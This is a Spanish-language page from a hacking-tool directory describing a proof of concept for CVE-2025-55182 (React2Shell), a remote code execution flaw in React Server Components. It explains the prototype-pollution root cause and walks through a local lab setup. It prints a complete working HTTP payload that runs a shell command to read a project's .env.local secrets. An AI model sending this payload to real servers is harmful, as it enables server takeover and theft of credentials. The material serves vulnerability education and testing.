Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
React2ShellPoC — Este repositorio proporciona una prueba de concepto para CVE-2025-55182 (React2Shell), una vulnerabilidad de ejecución remota de código en React Server Components. Muestra cómo funciona el exploit, incluyendo el payload y el impacto. | Kitploit
Herramientas/GitHubGitHub/git0xlai/react2shellpoc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubgit0xlai/react2shellpoc

React2ShellPoC

Este repositorio proporciona una prueba de concepto para CVE-2025-55182 (React2Shell), una vulnerabilidad de ejecución remota de código en React Server Components. Muestra cómo funciona el exploit, incluyendo el payload y el impacto.

Ver Repositorio
6hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Comprendiendo CVE-2025-55182 (React2Shell): Una inmersión profunda en la Ejecución Remota de Código a través de React Server Components

Resumen

CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica de ejecución remota de código (RCE) que afecta a React Server Components. Este fallo permite a atacantes no autenticados ejecutar código arbitrario en servidores vulnerables explotando un problema de deserialización insegura en el protocolo Flight de React.

Dado su puntaje CVSS de 10.0, esta vulnerabilidad es extremadamente grave y requiere atención inmediata. En este artículo, explicaré los detalles de la vulnerabilidad, el mecanismo de explotación y proporcionaré una demostración de prueba de concepto (PoC). Vamos a profundizar.

Versiones afectadas

Las siguientes versiones de React Server Components y paquetes relacionados son vulnerables:

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Paquetes afectados:

    • react-server-dom-parcel

    • react-server-dom-turbopack

    • react-server-dom-webpack

¿Qué son React y React Server Components?

React.js es una de las bibliotecas de JavaScript más populares para construir interfaces de usuario, especialmente en el contexto de aplicaciones de una sola página (SPA). Permite a los desarrolladores crear experiencias de usuario dinámicas e interactivas.

React Server Components (RSC) es una característica experimental que permite que algunas partes de una aplicación React se rendericen en el servidor, en lugar del cliente. Esto reduce la cantidad de JavaScript requerida en el lado del cliente y mejora el rendimiento, especialmente en aplicaciones grandes.

Sin embargo, RSC introduce nuevas complejidades, particularmente en cómo se intercambian los datos entre el servidor y el cliente. CVE-2025-55182 explota uno de estos problemas con el protocolo Flight, que se utiliza en RSC para transferir datos entre el servidor y el cliente.


La vulnerabilidad

Resumen de la vulnerabilidad

CVE-2025-55182 se origina en una deserialización insegura en el protocolo Flight de React. La deserialización es el proceso de convertir datos serializados (generalmente JSON) en un objeto en memoria. React utiliza este proceso para manejar los datos intercambiados entre el servidor y el cliente durante el renderizado del lado del servidor.

Sin embargo, la implementación de deserialización de React no es segura. Específicamente, React utiliza notación de corchetes para acceder a las propiedades de los objetos (por ejemplo, moduleExports[metadata[2]]), lo que permite a los atacantes manipular la cadena de prototipos de los objetos de JavaScript. Esto resulta en contaminación de prototipos y abre la posibilidad de modificar las propiedades de los objetos de maneras inesperadas, permitiendo a los atacantes explotar la lógica de deserialización.

Causa raíz

La raíz de la vulnerabilidad radica en cómo React maneja las cargas útiles del protocolo Flight. El uso de notación de corchetes para el acceso a propiedades permite a los atacantes recorrer la cadena de prototipos, otorgándoles acceso a propiedades que normalmente no deberían ser accesibles, como constructor. Al manipular esta propiedad, los atacantes pueden acceder al constructor global Function y ejecutar código JavaScript arbitrario en el servidor.

Cómo funciona la explotación

La explotación funciona enviando una carga útil especialmente diseñada al servidor, que manipula la lógica de deserialización del protocolo Flight. Al combinar contaminación de prototipos y deserialización insegura, un atacante puede obtener control del servidor y ejecutar código arbitrario.

Los componentes clave del ataque incluyen:

  1. Contaminación de prototipos: El atacante manipula la cadena de prototipos de un objeto para inyectar nuevas propiedades, incluyendo las propiedades constructor y Function.

  2. Ejecución de la carga útil: Una vez que el atacante tiene acceso al constructor Function, puede ejecutar código JavaScript arbitrario, como leer archivos o ejecutar comandos del sistema.


Explotación paso a paso

Configuración del entorno vulnerable

Para probar la explotación, necesitarás un entorno React vulnerable. Aquí se explica cómo configurarlo:

  1. Crear un proyecto vulnerable
    Primero, crea un nuevo proyecto Next.js con una versión vulnerable de React Server Components:
  • npx [email protected] poc-react2shell cd poc-react2shell

    Alternativamente, puedes usar un repositorio de GitHub preconfigurado que ya contenga la configuración vulnerable.

  • Crear un archivo de entorno de prueba
    En el directorio raíz de tu proyecto, crea un archivo .env.local que contenga datos sensibles, como claves de API. El atacante apuntará a este archivo en la PoC:

  • SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

  • Iniciar el servidor de desarrollo
    Ejecuta el servidor de desarrollo:

  1. npm run dev

    El servidor vulnerable ahora debería estar ejecutándose en http://localhost:3000.


Pasos de explotación

Una vez que tu entorno esté listo, puedes enviar la carga útil maliciosa para desencadenar la explotación. Aquí es donde Burp Suite o cualquier otra herramienta de proxy HTTP resulta útil.

  1. Enviar la carga útil maliciosa
    Abre Burp Suite y navega a la pestaña Repeater. Establece la URL de destino como http://localhost:3000/ y envía la siguiente carga útil maliciosa:

  2. POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad

  3. Analizar la respuesta
    Después de enviar la solicitud, si la explotación tiene éxito, el servidor responderá con el contenido de tu archivo .env.local (o cualquier dato sensible en las variables de entorno). Esto confirma el acceso del atacante a datos confidenciales. Respuesta


Explicación de la carga útil maliciosa

Desglose de encabezados

  1. Host: Especifica el servidor de destino (localhost:3000).

  2. User-Agent: Identifica el cliente que realiza la solicitud. La cadena suele ser de un navegador, pero aquí puede estar diseñada para ofuscar el ataque.

  3. Next-Action: Probablemente parte del procesamiento de Next.js, podría confundir al servidor o interactuar con el proceso de deserialización.

  4. X-Nextjs-Request-Id: ID de solicitud único para seguimiento y depuración en Next.js.

  5. Content-Type: Datos de formulario multiparte, utilizados para datos estructurados como JSON o cargas de archivos.

  6. Content-Length: Indica la longitud del cuerpo de la solicitud.

Campos multiparte

Descargar herramienta